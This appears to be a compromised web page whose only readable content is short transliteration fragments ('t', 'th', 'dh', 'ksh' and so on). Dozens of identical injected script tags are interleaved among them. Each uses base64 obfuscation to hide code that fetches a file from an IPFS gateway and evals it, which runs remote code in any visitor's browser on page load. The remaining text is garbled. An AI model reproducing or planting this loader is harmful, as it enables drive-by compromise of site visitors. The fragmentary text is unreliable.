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  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>